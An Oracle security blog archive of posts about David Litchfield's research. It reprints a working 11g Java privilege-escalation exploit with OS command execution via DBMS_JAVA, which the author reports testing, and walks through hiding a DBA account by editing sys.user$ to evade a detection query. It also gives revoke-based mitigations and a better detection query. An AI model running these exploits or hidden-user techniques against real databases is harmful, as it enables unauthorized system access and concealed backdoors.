Archive for the ‘David Litchfield’ Category

Oracle Blackhat video removed from Website

Freitag, Februar 5th, 2010

Blackhat removed the video from David Litchfield (containing the 0day exploit code for 11g) from their website. But it’s too late because the 0day code for 11g can be found in the meantime in many places.

The video was downloaded several times and it’s just a question of time until it re-appears…

BTW Oracle 10.2.0.4 with all security patches is vulnerable against this issue too. But the exploit must be modified a little bit.

Oracle 11g 0day exploit published

Donnerstag, Februar 4th, 2010

I just read on Sumit Siddarth’s (Sid) blog that the video recording from David Litchfield’s BH presentation is online.

David showed how to escalate Java privileges using DBMS_JVM_EXP_PERMS.

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,’java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,’ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

After the Java privilege escalation it is possible to run OS commands using a simple SELECT statement:

select dbms_java.runjava(’oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dir>c:\\out.lst’)from dual;

For security reasons you should:

revoke execute on dbms_java from PUBLIC;
revoke execute on dbms_java_test from PUBLIC;
revoke execute on „oracle/aurora/util/Wrapper“ from PUBLIC;
grant execute on sys.dbms_jvm_exp_perms to IMP_FULL_DATABASE;
grant execute on sys.dbms_jvm_exp_perms to EXP_FULL_DATABASE;
revoke execute on sys.dbms_jvm_exp_perms from PUBLIC;

I just tested the code on my Linux 11.2.0.1 database and it worked without any problem.

SELECT * from dual where chr(42)=DBMS_JAVA.RUNJAVA(‚oracle/aurora/util/Wrapper /bin/touch /tmp/iwashere3‘);

David Litchfield has published a whitepaper on Oracle forensics

Donnerstag, November 27th, 2008

David Litchfield has posted a new whitepaper „Using the Oracle System Change Number in Forensic Investigations„. He published also 2 tools called oratime and orablock. Oratime is converting a SCN to a timestamp. 

C:\oratools>oratime 671406483

21/11/2008 21:48:03

 

 The second tool from the whitepaper „orablock“ can extract data from a data block.

 

C:\cadfile>orablock

Orablock v1.0

(c) David Litchfield

(david@davidlitchfield.com)

-h (show help)

-f data_file (required)

-c column_template

-z block_size (default 8192)

-o object_id

-b block_number

-s seperator (default newline)

-a action

Actions are:

A DUMPALL

D SHOWDELETED

O DUMPNOTVIAOFFSETS

S SHOWDELETEDNOTVIAOFFSETS

C DUMPSCNS

 

Are Oracle Rootkits easy to find?

Montag, Dezember 24th, 2007

Few days ago David Litchfield published his presentation „In-memory Backdoors„. It’s an interesting presentation with a new idea and a proof-of-concept code of a 3rd generation memory rootkit for Oracle. Last year I predicted 3rd generation rootkits for databases.

 

But here some additional comments and corrections to his presentation.

 

David claimed that he released information about „Manipulating Views“ in January 2005 in the book „Database Hackers Handbook“. This is not correct. The „Database Hackers Handbook“ was released in July 2005 not January 2005. Just a difference of 6 month…. and after my black hat  2005 presentation in April 2005. Even if David sent this information to his publisher 6 month in advance,  I sent my blackhat presentation about rootkits to the Black Hat organizer in December 2004…

 

And the „Database Hackers Handbook“ contains only 1 reference to manipulated views in chapter 2.

(If you know a bit about Oracle and are wondering why I’m not using the DBA_USERS and DBA_ROLE_PRIVS views, see the last chapter in the Oracle section—you can’t trust views.) This is enough on users and roles at the moment. Let’s look at how database users are authenticated.

==> BTW the select statement „select name,password from sys.user$ where type#=1;“ is not correct. The correct statement to get all users is „select name,password from sys.user$ where type#<>1;

 

I was not able to find this information because the last  Oracle chapter (chapter 5) does not contain the word „view“. But I am quite sure that David can post the page where this information is written in the book.

 

But now back to the content of the presentation and David’s ideas.

 

According to David 1.gen rootkits are easy to find, but 1.Gen rootkits have also some advantages. The advantage of the object (view, synonyms, …) modification concept is that this concept is platform independent. David’s memory rootkit are working on Windows only (so far) and most customers do not use Oracle on Windows for important databases.

 

David claims that xstatus is essentially the same as the modification of a view. This is not correct. It’s a different idea with the same result. I think that the concept of updating data for manipulation reasons is more powerful than manipulating objects and much more difficult to find. 

 

3 days ago I talked with Pete about this issue and I showed Pete how to create invisible users without getting caught by David’s SQL statement („ SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS„). 

 

Here is the way how to do it… 

 

————- tests performed on 10.2.0.3 with Oct 2007 CPU ——————–

— We create aN user called U1 (user#=76 on my system) with DBA privileges

SQL> create user u1 identified by u1;

SQL> grant dba to u1;

SQL> select user#, name, datats# from sys.user$;

         0 SYS                                     0

         1 PUBLIC                                  0

        76 U1                                      5

 

— Now we modify the result of the table as mentioned by David in his presentation

SQL> update sys.user$ set datats#=31337 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

— The user is no longer visible in dba_users

— Now we compare the base table sys.user$ with the view dba_users and we get the difference between sys.user$ and dba_users (as mentioned in the presentation)

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

 

— But does the statement really work in all cases? No!

 

— Why only updating 1 column, let’s change type# too 😉

— type#<0 are not working (if the database was restarted)

SQL> update sys.user$ set type#=2 where user#=76;

 

1 row updated.

 

SQL> commit;

 

Commit complete.

 

— Now we run the query to get invisible user from David („Current rootkits trivial to spot“)

— But the query misses this trivial change ;-). 

— But it’s not a shame. My former SQL statements to check for hidden users

— were also wrong. Also Pete’s, Laszlo, … statement to get users from sys.user$ are only partially correct 

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# =1 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

no rows selected

————-

 

— It is important to restart the database 

— but the connect u1/u1 still works

SQL> conn u1/u1

 

— To get invisible users you should use type#!=0

SQL> SELECT NAME FROM SYS.USER$ WHERE TYPE# !=0 MINUS SELECT USERNAME FROM SYS.DBA_USERS;

 

U1

 

 

I think the concept of modifying data to change results is underestimated and really powerful and much more difficult to find (checksums are normally not possible). I have already some interesting ideas in mind…

 

 

The in-memory rootkit is a good work from David.

 

 


David’s Whitepaper about Oracle Forensics

Sonntag, August 12th, 2007

David Litchfield just released the 5th part of his Oracle Forensics whitepaper “Finding Evidence of Data Theft in the Absence of Auditing“. He describes how to find traces if the attacker used only SELECT statements.